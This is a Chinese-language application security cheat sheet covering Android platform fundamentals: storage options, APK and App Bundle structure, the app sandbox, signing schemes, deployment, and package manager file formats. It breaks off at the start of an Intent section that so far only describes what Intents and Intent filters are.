# 应用安全备忘单

应用安全相关的备忘单集合。

**项目结构：**

* **Web应用安全** - Web应用漏洞和防护
* **移动应用安全** - Android和iOS安全
* **云安全** - AWS、Azure、GCP安全
* **容器安全** - Docker和容器逃逸
* **框架安全** - Spring、React等框架
* **CI/CD安全** - 持续集成/部署安全
* **Linux安全** - Linux系统安全基础
* **安全资源** - 工具、载荷、字典等

## 开始使用

建议按照以下顺序阅读：

1. [**Web应用安全**](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Web%20Application/README.md) - 最常见的安全问题
2. [**移动应用安全**](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Mobile%20Application/README.md) - 移动平台特有漏洞
3. [**云安全**](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Cloud/README.md) - 云服务配置和安全
4. [**容器安全**](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Container/README.md) - 容器技术和逃逸技术
5. [**框架安全**](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Framework/README.md) - 特定框架的安全问题

## 贡献指南

欢迎参与翻译改进！您可以：

* 修正翻译错误
* 改进技术术语表达
* 补充遗漏的内容
* 提出结构优化建议


# 概述


# 应用数据与文件

Android 使用与其他平台上基于磁盘的文件系统类似的文件系统。系统为保存应用数据提供了几种选项：

* **应用专用存储** - 用于保存其他应用不应访问的敏感信息的内部存储。
* **共享存储** - 用于应用与其他应用共享的文件，包括媒体、文档和其他文件。
* **首选项** - 用于在键值对中存储私有、原始数据的存储。
* **数据库** - 使用 Room 持久性库在私有数据库中存储结构化数据。

|                                                                                       | 内容类型                 | 访问方法                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 所需权限                                                                                                                                                                                                                                                                    |
| ------------------------------------------------------------------------------------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [应用专用文件](https://developer.android.com/training/data-storage/app-specific)            | 应用专用文件               | <p>从内部存储，使用 <a href="https://developer.android.com/reference/android/content/Context#getFilesDir%28%29">getFilesDir()</a> 和 <a href="https://developer.android.com/reference/android/content/Context#getCacheDir%28%29">getCacheDir()</a></p><p>从外部存储，使用 <a href="https://developer.android.com/reference/android/content/Context#getExternalFilesDir%28java.lang.String%29">getExternalFilesDir()</a> 和 <a href="https://developer.android.com/reference/android/content/Context#getExternalCacheDir%28%29">getExternalCacheDir()</a></p> | <p>内部存储永远不需要权限</p><p>当应用在运行 Android 4.4（API 级别 19）或更高版本的设备上使用时，外部存储不需要权限</p>                                                                                                                                                                                            |
| [媒体](https://developer.android.com/training/data-storage/shared/media)                | 可共享的媒体文件（图像、音频文件、视频） | [MediaStore](https://developer.android.com/reference/android/provider/MediaStore) API                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p>在 Android 11（API 级别 30）或更高版本上访问其他应用的文件时需要 <strong>READ\_EXTERNAL\_STORAGE</strong></p><p>在 Android 10（API 级别 29）上访问其他应用的文件时需要 <strong>READ\_EXTERNAL\_STORAGE</strong> 或 <strong>WRITE\_EXTERNAL\_STORAGE</strong></p><p>在 Android 9（API 级别 28）或更低版本上访问所有文件都需要权限</p> |
| [文档和其他文件](https://developer.android.com/training/data-storage/shared/documents-files) | 其他类型的可共享内容，包括下载的文件   | 存储访问框架 (Storage Access Framework)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 无                                                                                                                                                                                                                                                                       |
| [应用首选项](https://developer.android.com/training/data-storage/shared-preferences)       | 键值对                  | [Jetpack Preferences](https://developer.android.com/guide/topics/ui/settings/use-saved-values) 库                                                                                                                                                                                                                                                                                                                                                                                                                                           | 无                                                                                                                                                                                                                                                                       |
| 数据库                                                                                   | 结构化数据                | [Room](https://developer.android.com/training/data-storage/room) 持久性库                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 无                                                                                                                                                                                                                                                                       |

## 参考资料

* [Android 开发者：数据和文件存储概览](https://developer.android.com/training/data-storage)


# 应用包结构

## Android 包 (Package)

Android 应用以 APK (Android package) 存档文件的形式分发。APK 文件是一个 ZIP 压缩存档，包含 Android 应用的所有内容，是 Android 设备用于安装应用的文件。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-02f4284bbf0f804f85251e8b2e572c5c58969954%2Fapk-structure.png?alt=media)

APK 文件具有以下结构：

| 名称                                    | 类型 | 描述                                                                                                                    |
| ------------------------------------- | -- | --------------------------------------------------------------------------------------------------------------------- |
| META-INF                              | 目录 | 此目录包含 APK 元数据。                                                                                                        |
| META-INF/MANIFEST.MF                  | 文件 | 此文件包含 Java 运行时环境在加载 JAR 文件时使用的各种信息，例如要运行的主类、包版本、构建编号、包创建者、Java 小程序和 Java webstart 包的安全策略/权限、JAR 中文件名列表及其 SHA-256 摘要等。 |
| META-INF/CERT.RSA 或 META-INF/CERT.DSA | 文件 | 包含 `CERT.RF` 的签名内容，用于使用公钥验证应用完整性。                                                                                     |
| META-INF/CERT.SF                      | 文件 | 此文件包含所有文件列表及其 SHA-1 摘要。                                                                                               |
| lib                                   | 目录 | 此目录包含依赖于平台的编译代码。                                                                                                      |
| lib/armeabi-v7a                       | 目录 | 此目录仅包含适用于所有基于 ARMv7 及更高版本处理器的编译代码。                                                                                    |
| lib/arm64-v8a                         | 目录 | 此目录仅包含适用于所有基于 ARMv8 arm64 及更高版本处理器的编译代码。                                                                              |
| lib/x86                               | 目录 | 此目录仅包含适用于 x86 处理器的编译代码。                                                                                               |
| lib/x86\_64                           | 目录 | 此目录仅包含适用于 x86\_64 处理器的编译代码。                                                                                           |
| kotlin                                | 目录 | 包含 Kotlin 特定数据（仅当应用使用 Kotlin 编写时）。                                                                                    |
| res                                   | 目录 | 此目录包含未编译到 `resources.arsc` 中的资源。                                                                                      |
| assets                                | 目录 | 此目录包含应用资源。                                                                                                            |
| AndroidManifest.xml                   | 文件 | 此文件是 Android 应用的清单。它包含有关包名、应用组件、应用权限、兼容性功能等信息。                                                                        |
| classes.dex                           | 文件 | 此文件是以 `dex` 文件格式编译的类，可被 Dalvik 虚拟机和 Android 运行时理解。                                                                    |
| resources.arsc                        | 文件 | 此文件包含预编译资源，如字符串、颜色或样式。                                                                                                |

## Android App Bundles

Android App Bundle 是一种发布格式，包含应用的所有编译代码和资源，并将 APK 生成和签名推迟到 Google Play 处理。

Google Play 使用应用包为每个设备配置生成和提供优化的 APK，因此只有特定设备需要的代码和资源才会被下载来运行应用。

{% hint style="info" %}
2021 年下半年，新应用将被要求使用 Android App Bundle 在 Google Play 上发布。
{% endhint %}

Android App Bundle 是开发者上传到 Google Play 的文件（扩展名为 `.aab`）。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-bf5b19269259179d6d717c7f5edff9217bc03e74%2Faab-format.png?alt=media)

应用包是签名的二进制文件，将应用的代码和资源组织成模块。每个模块的代码和资源的组织方式与在 APK 中类似——这是合理的，因为这些模块中的每一个都可能作为单独的 APK 生成。然后，Google Play 使用应用包生成提供给用户的各种 APK，如基础 APK、功能 APK、配置 APK 以及（对于不支持拆分 APK 的设备）多 APK。蓝色标记的目录（如 `drawable/`、`values/` 和 `lib/` 目录）代表 Google Play 用于为每个模块创建配置 APK 的代码和资源。

以下列表更详细地描述了应用包的一些文件和目录：

* **base/、feature1/ 和 feature2/** - 每个这些顶级目录代表应用的不同模块。应用的基础模块始终包含在应用包的 `base` 目录中。但是，每个功能模块的目录由模块清单中 `split` 属性指定的名称给出，参见[文档](https://developer.android.com/guide/app-bundle/play-feature-delivery#feature-module-manifest)。
* **asset\_pack\_1/ 和 asset\_pack\_2/** - 对于大型、图形密集的应用或游戏，开发者可以将资源模块化为资源包。
* **BUNDLE-METADATA/** - 此目录包含元数据文件，其中包含对工具或应用商店有用的信息（例如，ProGuard 映射或应用 DEX 文件的完整列表）。此目录中的文件不会打包到应用的 APK 中。
* **模块协议缓冲区 (\*.pb) 文件** - 这些文件提供元数据，帮助向应用商店（如 Google Play）描述每个应用模块的内容。
* **manifest/** - 与 APK 不同，应用包将每个模块的 AndroidManifest.xml 文件存储在这个单独的目录中。
* **dex/** - 与 APK 不同，应用包将每个模块的 DEX 文件存储在这个单独的目录中。
* **res/、lib/ 和 assets/** - 这些目录与典型 APK 中的目录相同。
* **root/** - 此目录存储稍后重新定位到包含此目录所在模块的任何 APK 根目录的文件。

### 拆分 APK 概述

提供优化应用的基本组件是在 Android 5.0（API 级别 21）及更高版本上可用的拆分 APK 机制。拆分 APK 与常规 APK 非常相似——它们包含编译的 DEX 字节码、资源和 Android 清单。但是，Android 平台能够将多个安装的拆分 APK 视为单个应用。也就是说，您可以安装多个具有访问公共代码和资源的拆分 APK，并在设备上显示为一个已安装的应用。

以下描述了可能在设备上一起安装以形成完整应用体验的不同类型的 APK。

* **基础 APK** 包含所有其他拆分 APK 可以访问的代码和资源，并为应用提供基本功能。当用户请求下载应用时，此 APK 首先被下载和安装。这是因为只有基础 APK 的清单包含应用服务、内容提供者、权限、平台版本要求和系统功能依赖项的完整声明。Google Play 从项目的应用（或基础）模块为应用生成基础 APK。
* **配置 APK** 包含特定屏幕密度、CPU 架构或语言的原生库和资源。当用户下载应用时，他们的设备仅下载和安装针对其设备的配置 APK。每个配置 APK 是基础 APK 或功能模块 APK 的依赖项。如果开发者使用标准实践来[为其基础和功能模块组织替代的、特定配置的资源](https://developer.android.com/guide/topics/resources/providing-resources#AlternativeResources)，Google Play 会自动为他们生成配置 APK。
* **功能模块 APK** 包含开发者使用功能模块进行模块化的应用功能的代码和资源。然后，开发者可以自定义该功能在设备上的下载方式和时间。Google Play 从项目的功能模块为应用生成功能模块 APK。

考虑一个具有三个功能模块和支持多个设备配置的应用。下图说明了应用的各种 APK 的依赖树可能的样子。请注意，基础 APK 形成树的头部，所有其他 APK 都依赖于基础 APK。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-1cd9ca0d492031bc9ce9290cd596bed87f029bdc%2Fapk-splits-tree.png?alt=media)

## 参考资料

* [APK 文件内部结构](https://www.appdome.com/no-code-mobile-integration-knowledge-base/apk-files-under-the-hood/)
* [Android 开发者：关于 Android App Bundles](https://developer.android.com/guide/app-bundle)


# 应用沙箱

Android 平台利用基于 Linux 的用户保护来识别和隔离应用资源。这将应用彼此隔离，并保护应用和系统免受恶意应用的侵害。为此，Android 为每个 Android 应用分配一个唯一的用户 ID (UID)，并在其自己的进程中运行它。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-94e30c749ea046c58ee499be876d17b0563d53b7%2Fapp-sandbox.png?alt=media)

Android 使用 UID 来设置内核级的应用沙箱。内核通过分配给应用的标准 Linux 设施（如用户和组 ID）在进程级别强制执行应用和系统之间的安全性。默认情况下，应用无法相互交互，并且对操作系统的访问权限有限。沙箱简单、可审计，并且基于已有数十年历史的 UNIX 风格的进程和文件权限分离。

您可以通过查看 `/data/data` 文件夹中的文件系统权限来确认这一点

```bash
$ ls -la /data/data
drwx------  4 u0_a13    u0_a13    4096 2021-02-01 13:37 com.package1.app1
drwx------  6 u0_a163   u0_a163   4096 2021-02-01 13:39 com.package2.app2
```

由于应用沙箱位于内核中，此安全模型扩展到原生代码和操作系统应用程序。内核之上的所有软件，如操作系统库、应用框架、应用运行时和所有应用，都在应用沙箱内运行。

## 保护机制

Android 依靠多种保护机制来强制执行应用沙箱。这些强制措施是随着时间的推移而引入的，并显著增强了原始基于 UID 的自主访问控制 (DAC) 沙箱。以前的 Android 版本包括以下保护机制：

* 在 Android 5.0 中，[SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux) 提供了系统和应用之间的强制访问控制 (MAC) 分离。但是，所有第三方应用都在同一个 SELinux 上下文中运行，因此应用间隔离主要由 UID DAC 强制执行。
* 在 Android 6.0 中，[SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux) 沙箱扩展到跨物理用户边界隔离应用。此外，Android 还为应用数据设置了更安全的默认值：对于 `targetSdkVersion >= 24` 的应用，应用主目录的默认 DAC 权限从 `751` 更改为 `700`。这为私有应用数据提供了更安全的默认值（尽管应用可能会覆盖这些默认值）。
* 在 Android 8.0 中，所有应用都被设置为使用 [seccomp-bpf](https://www.kernel.org/doc/html/v4.16/userspace-api/seccomp_filter.html) 过滤器运行，该过滤器限制了允许应用使用的系统调用，从而加强了应用/内核边界。
* 在 Android 9 中，所有 `targetSdkVersion >= 28` 的非特权应用必须在单独的 [SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux) 沙箱中运行，提供基于每个应用的 MAC。此保护机制改善了应用分离，防止覆盖安全默认值，并且（最重要的是）防止应用使其数据全局可访问。
* 在 Android 10 中，应用对文件系统的原始视图有限，无法直接访问 `/sdcard/DCIM` 等路径。但是，应用保留对其包特定路径的完全原始访问权限，如任何适用方法（如 `Context.getExternalFilesDir()`）返回的路径。

## 参考资料

* [Android 开源项目：应用沙箱](https://source.android.com/security/app-sandbox)
* [MSTG：Android - 平台概览](https://mobile-security.gitbook.io/mobile-security-testing-guide/android-testing-guide/0x05a-platform-overview#the-app-sandbox)


# 应用签名

应用签名允许开发者识别应用的作者，并在无需创建复杂接口和权限的情况下更新其应用。在 Android 平台上运行的每个应用都必须由开发者签名。尝试安装未经签名的应用将被 Google Play 或 Android 设备上的包安装程序拒绝。

## APK 签名方案

Android 支持四种应用签名方案：

* **v1 方案**基于 JAR 签名。
* **v2 方案**APK 签名方案 v2，在 Android 7.0 中引入。
* **v3 方案**APK 签名方案 v3，在 Android 9 中引入。
* **v4 方案**APK 签名方案 v4，在 Android 11 中引入。

为了向后兼容，APK 可以使用多个签名方案进行签名，以使应用在较新和较旧的 SDK 版本上都能运行。

### JAR 签名 (v1 方案)

APK 签名从一开始就是 Android 的一部分。它基于[签名 JAR](https://docs.oracle.com/javase/8/docs/technotes/guides/jar/jar.html#Signed_JAR_File)。

v1 签名不保护 APK 的某些部分，如 ZIP 元数据。APK 验证器需要处理大量不可信（尚未验证）的数据结构，然后丢弃未被签名覆盖的数据。此外，APK 验证器必须解压缩所有压缩条目，消耗更多时间和内存。

### APK 签名方案 v2

APK 签名方案 v2 是一种全文件签名方案，通过检测 APK 受保护部分的任何更改来提高验证速度并加强完整性保证。

使用 APK 签名方案 v2 签名会在 APK 文件中 ZIP 中央目录部分之前插入一个 APK 签名块。在 APK 签名块内，v2 签名和签名者身份信息存储在 APK 签名方案 v2 块中。参见[文档](https://source.android.com/security/apksigning/v2)了解更多信息。

### APK 签名方案 v3

Android 9 支持 APK 密钥轮换，这使得应用能够在 APK 更新过程中更改其签名密钥。为了使轮换实用，APK 必须指示新旧签名密钥之间的信任级别。v3 在 APK 签名块中添加了有关支持的 SDK 版本信息和轮换证明结构。参见[文档](https://source.android.com/security/apksigning/v3)了解更多信息。

### APK 签名方案 v4

APK 签名方案 v4 是一种流兼容的签名方案。v4 基于在 APK 所有字节上计算的 Merkle 哈希树。它完全遵循 [fs-verity](https://source.android.com/security/features/apk-verity) 哈希树的结构。Android 11 将签名存储在单独的文件 `<apk name>.apk.idsig` 中。v4 签名需要补充的 v2 或 v3 签名。参见[文档](https://source.android.com/security/apksigning/v4)了解更多信息。

## 参考资料

* [Android 开源项目：应用签名](https://source.android.com/security/apksigning)


# 部署

Android 允许您从任何地方（从网站、从任何商店等）在设备上安装应用。这是可能的，因为 Android 生态系统是开放的。然而，Google Play 是最著名、最受信任和最受欢迎的商店，由 Google 本身提供。如果用户想要从非受信任来源安装第三方应用，他们必须[通过设备安全设置明确允许](https://developer.android.com/studio/publish#publishing-unknown)。

## 部署调试版本

从高层次来看，调试版本部署包括以下步骤：

1. 生成（或访问）调试密钥库和证书。
2. 签名应用。
3. 在设备上安装应用。

如果设备允许从非受信任来源安装应用，则应用会启动。

当从 IDE 运行或调试项目时，Android Studio 会自动使用由 Android SDK 工具生成的调试证书对您的应用进行签名。当您第一次在 Android Studio 中运行或调试项目时，IDE 会自动在 `$HOME/.android/debug.keystore` 中创建调试密钥库和证书，并设置密钥库和密钥密码。

因为调试证书是由构建工具创建的，并且设计上不安全，所以大多数应用商店（包括 Google Play 商店）不接受使用调试证书签名的应用用于发布。

## 部署发布版本

从高层次来看，将发布版本部署到 Google Play 包括以下步骤：

1. 创建 Google Play 开发者帐户。
2. 生成（或访问）发布密钥库和证书。
3. 签名应用。
4. 将应用上传到 Google Play。

而其他供应商可能会在实际发布之前审查和批准应用，Google 只会扫描已知的恶意软件签名，这最小化了发布过程开始和公共应用可用性之间的时间。

### 签名密钥管理

Google Play 为开发者提供两个选项来管理其签名密钥：

* Play 应用签名
* 自行管理

#### Play 应用签名

使用 Play 应用签名，Google 为开发者管理和保护其应用签名密钥，并使用它来签署其 APK 进行分发。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-a59d19b8cd27d265e837a2f9dd9e06f8809075f6%2Fplay-app-signing.png?alt=media)

Play 应用签名使用两个密钥：

* **应用签名密钥**用于签名安装在用户设备上的 APK。签名密钥在应用生命周期内永远不会更改。应用签名密钥是私有的，必须保密。
* **上传密钥**用于在上传到 Google Play 进行应用签名之前签名应用包或 APK。上传密钥是私有的，必须保密。

#### 自行管理

开发者可以管理自己的应用签名密钥和密钥库。当开发者签名其 APK 时，他们将使用其应用签名密钥在本地签名，并将签名的 APK 直接上传到 Google Play 商店进行分发。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-61fed76dcad9bb5a2ee6e4d74e1d8d5b8b319827%2Fself-management.png?alt=media)

## 参考资料

* [Android 开发者：为您的应用签名](https://developer.android.com/studio/publish/app-signing)


# 包管理器

包管理器 (Package Manager) 是实际管理应用安装、移除和更新的 API。

## APK 安装过程

Android 应用安装过程如下：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-432aeaf8adf7961538c96fd9d273d3df5c5830a8%2Fapk-installation.png?alt=media)

1. 当您安装 APK 文件时，包管理器解析 APK 并显示确认信息。当您按下"确定"按钮时，包管理器调用 `PackageInstaller` 进行交互式安装包。
2. PackageInstaller 提供用户界面来管理包。PackageInstaller 调用 `InstallAppProgress` 活动来接收来自用户的指令。
3. InstallAppProgress 请求 `包管理器服务` 安装包。
4. 包管理器服务使用 `installd` 守护进程安装包，该进程通过 `/dev/socket/installd` 套接字接收请求，并以 root 权限执行一系列步骤来安装 APK。整个安装过程如下：
   * 将包添加到安装队列。
   * 确定包安装的适当位置（系统应用为 `/system/app/`，第三方应用为 `/data/app/`）。
   * 将 APK 复制到给定目录。
   * 确定应用的 UID。
   * 请求 `installd` 守护进程。
   * 在 `/data/data/` 中创建应用目录并设置权限。
   * 将 DEX 代码提取到缓存目录 `/data/dalvik-cache/`。
   * 更新 `packages.list` 和 `packages.xml` 文件。
   * 使用 `Intent.ACTION_PACKAGE_ADDED` 或 `Intent.ACTION_PACKAGE_REPLACED` 向系统广播
5. 应用安装成功。

## 数据存储

包管理器将应用信息存储在位于 `/data/system` 的三个文件中：

* `packages.xml` 包含权限和包列表：
* `packages.list` 是一个简单的文本文件，包含包名、用户 ID、标志和数据目录。
* `packages-stoped.xml` 包含具有停止状态的包列表（停止状态的应用无法接收任何广播）。

### packages.list

`packages.list` 文件为系统上安装的所有应用包含类似这样的内容：

```
com.android.packageinstaller 10025 0 /data/data/com.android.packageinstaller platform 1028,3003,2001
```

该行分为 6 列，包含关于应用的信息：

* `com.android.packageinstaller` 是应用的包名，它是 `AndroidManifest.xml` 中 `<manifest>` 元素的 `package` 属性的内容。
* `10025` 是应用使用的 `userId`；如果在 `AndroidManifext.xml` 中未指定 `android:sharedUserId` 属性，系统将自动为应用分配一个 `userId`。
* `0` 表示应用是否处于调试模式，由 `AndroidManifext.xml` 中的 `android:debuggable` 指定。
* `/data/data/com.android.packageinstaller` 是应用的数据存储路径，通常是一个像 `/data/data/<package_name>` 的文件夹。
* `platform` 是应用的 `seinfo` 信息；这应该与 SEAndroid 机制相关（不太清楚，其值似乎有 `platform` 和 `default`）。
* `1028,3003,2001` 是应用所属的用户组；如果应用不属于任何组，这里的值是 `None`。

### packages.xml

`packages.xml` 文件具有以下结构：

```xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<packages>
    <version ... />
    <version ... />
 
    <permissions>
        <item name="xxxx" package="xxx" protection="xx" />
        ... ...
    </permissions>
 
    <package xxx>
        ...
    </package>
    ...
 
    <shared-user xxx>
        ...
    </shared-user>
    ...
 
    <keyset-settings version="1">
        ...
    </keyset-settings>
</packages>
```

`packages.xml` 文件中的主要信息分为以下部分：

* **权限块**包含系统中所有定义的权限信息。
* **包块**包含系统中所有已安装应用的详细信息。
* **共享用户块**包含所有系统定义的共享用户信息。
* **密钥集设置块**包含已安装应用签名的公钥信息。

#### 权限块

```xml
<permissions>
    <item name="android.permission.REAL_GET_TASKS" package="android" protection="18" />
    <item name="android.permission.REMOTE_AUDIO_PLAYBACK" package="android" protection="2" />
    ...
</permissions>
```

它定义了系统中所有声明的权限信息，每个项目块代表一个权限：

* **Name** 表示权限的名称。
* **Package** 表示声明权限的包
* **Protection** 表示权限的级别，如 normal、dangerous 等。

#### 包块

包块包含每个应用的详细信息。

```xml
<package name="com.tencent.qqmusictv" codePath="/data/app/qqmusictv" nativeLibraryPath="/data/app/qqmusictv/lib" primaryCpuAbi="armeabi" publicFlags="941112933" privateFlags="0" ft="15f00a383c8" it="15f00a383c8" ut="15f00a383c8" version="134" userId="10044">
    <sigs count="1">
        <cert index="6" key="30820247308201b0a003020..." />
    </sigs>
    <perms>
        <item name="android.permission.WRITE_SETTINGS" granted="true" flags="0" />
        ...
    </perms>
    <proper-signing-keyset identifier="7" />
</package>
```

`<package>` 元素的属性：

* **name** 表示包名。
* **codePath** 表示此 APK 文件存储的位置。
* **nativeLibraryPath** 表示应用使用的 `xxx.so` 库的位置。
* **primaryCpuAbi** 表示应用运行在哪个 abi 架构上。
* **publicFlags 和 privateFlags** 是根据 `AndroidManifest.xml` 中的设置生成的，例如：`android:multiarch`。
* **ft** 表示 APK 文件最后更改的时间。
* **it** 表示应用首次安装的时间。
* **ut** 表示应用最后更新的时间。
* **version** 是关于应用版本号的信息，是 `AndroidManifest.xml` 中配置的 `android:versionCode`。
* **userId** 是分配给应用的用户 ID；如果有 `shareUserId`，则 `SharedUserId` 出现在这里。

`<sigs>` 元素的属性：

* **count** 表示应用有多少个签名（某些应用可能由多个证书签名）。

`<cert>` 元素的属性：

* **index** 表示应用使用的证书的序列号；当系统发现新证书时，数字将增加 1。
* **key** 是应用使用的证书内容的 ASCII 码值；如果包管理器服务在扫描 APK 时检测到使用了先前已知的证书，则 `key` 值将不存在；具有相同索引的包，表示它们使用相同的签名。

`<perms>` 块是应用拥有的权限。对于普通应用，这些权限写在 `AndroidManifest.xml` 中。对于那些使用相同 `userId` 的应用，这里的权限是所有使用相同 `userId` 的应用的权限总和。`granted` 表示是否已允许此权限。

`<proper-signing-keyset>` 的 `identifier` 属性是[密钥集](#keyset-settings-block)中标识符的值。它用于指示应用使用哪个公钥。

#### 共享用户块

```xml
<shared-user name="android.uid.system" userId="1000">
    <sigs count="1">
        <cert index="1" />
    </sigs>
    <perms>
        <item name="android.permission.REAL_GET_TASKS" granted="true" flags="0" />
        <item name="android.permission.ACCESS_CACHE_FILESYSTEM" granted="true" flags="0" />
        ... ...
        <item name="android.permission.DELETE_PACKAGES" granted="true" flags="0" />
    </perms>
</shared-user>
```

`<shared-user>` 元素的属性：

* **name** 表示此共享用户的名称。
* **userId** 表示系统中用户的编号。

`<sigs>` 元素的含义在这里和包块中相同。

`<perms>` 表示此用户拥有的权限。在启动时扫描 APK 文件时，所有使用相同 `userId` 的应用的权限被收集并放置在这里。最后，这些权限将被发送到那些使用相同 `userId` 的应用。最终结果是系统中具有相同 `userId` 的应用具有相同的权限。

#### 密钥集设置块

```xml
<keyset-settings version="1">
    <keys>
        <public-key identifier="1" value="MIIBIjANBgkqhki..." />
        ...
    </keys>
    <keysets>
        <keyset identifier="1">
            <key-id identifier="1" />
        </keyset>
        ...
    </keysets>
    <lastIssuedKeyId value="9" />
    <lastIssuedKeySetId value="9" />
</keyset-settings>
```

* `<keyset-settings>` 块收集所有应用签名的公钥信息，并与包块中的信息相关联。
* `<keys>` 块中 `<public-key>` 的 `value` 属性的值是从 APK 包中的签名文件中提取的公钥。
* `<keysets>` 块包含许多密钥集。每个密钥集都有一个带标识符的数字。`<key-id>` 的 `identifier` 属性对应于上面 `<keys>` 中 `<public-key>` 标识符的值。
* `lastIssuedKeyId` 和 `lastIssuedKeySetId` 表示最新公钥被取到的集合编号。

## 参考资料

* [深入：Android 包管理器和包安装程序](https://dzone.com/articles/depth-android-package-manager)
* [Android 开发系统包文件解析](https://www.programmersought.com/article/3817615344/)


# Intent漏洞

## Intent 概述

[Intent](https://developer.android.com/reference/android/content/Intent) 提供了一种在不同应用程序代码之间执行运行时绑定的功能。换句话说，Intent 允许您请求另一个应用组件执行操作。尽管 Intent 以多种方式促进组件之间的通信，但有三种基本用例：

* **启动** [**Activity**](https://developer.android.com/reference/android/app/Activity)

  您可以通过将 Intent 传递给 [startActivity()](https://developer.android.com/reference/android/content/Context#startActivity%28android.content.Intent%29) 来启动 Activity 的新实例。Intent 描述要启动的 Activity 并携带任何必要的数据。如果您希望在 Activity 完成时接收结果，请调用 [startActivityForResult()](https://developer.android.com/reference/android/app/Activity#startActivityForResult%28android.content.Intent,%20int%29)。
* **传递** [**广播**](https://developer.android.com/guide/components/broadcasts)

  系统为系统事件传递各种广播，例如系统启动或设备开始充电时。您可以通过将 Intent 传递给 [sendBroadcast()](https://developer.android.com/reference/android/content/Context#sendBroadcast%28android.content.Intent%29) 或 [sendOrderedBroadcast()](https://developer.android.com/reference/android/content/Context#sendOrderedBroadcast%28android.content.Intent,%20java.lang.String%29) 来向其他应用传递广播。
* **启动** [**服务**](https://developer.android.com/reference/android/app/Service)

  您可以通过将 Intent 传递给 [Context.startService()](https://developer.android.com/reference/android/content/Context#startService%28android.content.Intent%29) 或 [Context.bindService()](https://developer.android.com/reference/android/content/Context#bindService%28android.content.Intent,%20android.content.ServiceConnection,%20int%29) 来与后台服务通信。

### Intent 结构

Intent 中包含的主要信息如下：

* **Action** 是指定要执行的通用操作的字符串（例如查看或选择）。对于广播 Intent，这是发生并正在报告的操作。可以为应用内的 Intent 指定自定义操作（或供其他应用调用应用中的组件），但通常使用由 Intent 类或其他框架类定义的操作常量（如 [ACTION\_VIEW](https://developer.android.com/reference/android/content/Intent#ACTION_VIEW) 或 [ACTION\_SEND](https://developer.android.com/reference/android/content/Intent#ACTION_SEND)）。
* **Data** 是引用要操作的数据的 URI（一个 [Uri](https://developer.android.com/reference/android/net/Uri) 对象）和/或该数据的 MIME 类型。提供的数据类型通常由 Intent 的操作决定。例如，如果操作是 [ACTION\_EDIT](https://developer.android.com/reference/android/content/Intent#ACTION_EDIT)，则数据应包含要编辑的文档的 URI。
* **Component name** 是要启动的组件的名称。如果需要启动应用中的特定组件，应指定组件名称。
* **Category** 是包含关于应处理 Intent 的组件类型的附加信息的字符串（如 [CATEGORY\_BROWSABLE](https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE) 或 [CATEGORY\_LAUNCHER](https://developer.android.com/reference/android/content/Intent#CATEGORY_LAUNCHER)）。

{% hint style="info" %}
组件名称、操作、数据和类别属性表示 Intent 的定义特征。通过读取这些属性，Android 系统能够解析应启动哪个应用组件。
{% endhint %}

Intent 可以携带不影响其解析到应用组件的附加信息。Intent 还可以提供以下信息：

* **Extras** 是携带完成请求操作所需的附加信息的键值对。就像某些操作使用特定类型的数据 URI 一样，某些操作也使用特定的附加数据。
* **Flags** 是在 Intent 类中定义的，用作 Intent 的元数据。标志可以指示 Android 系统如何启动 Activity（例如，Activity 应属于哪个[任务](https://developer.android.com/guide/components/activities/tasks-and-back-stack)）以及启动后如何处理它（例如，它是否属于最近活动列表）。

### Intent 过滤器

Intent 过滤器是应用清单文件中的表达式，指定组件希望接收的 Intent 类型。例如，为 Activity 声明 Intent 过滤器使得其他应用可以直接使用某种类型的 Intent 启动该 Activity。同样，没有声明任何 Intent 过滤器的 Activity 只能使用显式 Intent 启动。

每个 Intent 过滤器由应用清单文件中的 [\<intent-filter>](https://developer.android.com/guide/topics/manifest/intent-filter-element) 元素定义，嵌套在相应的应用组件（如 `<activity>` 元素）中。在 `<intent-filter>` 内部，使用以下三个元素中的一个或多个来指定要接受的 Intent 类型：

* [**\<action>**](https://developer.android.com/guide/topics/manifest/action-element) 在 `name` 属性中声明接受的 Intent 操作。
* [**\<data>**](https://developer.android.com/guide/topics/manifest/data-element) 声明接受的数据类型，使用一个或多个指定数据 URI（`scheme`、`host`、`port`、`path`）和 MIME 类型各个方面的属性。
* [**\<category>**](https://developer.android.com/guide/topics/manifest/category-element) 在 name 属性中声明接受的 Intent 类别。

{% hint style="info" %}
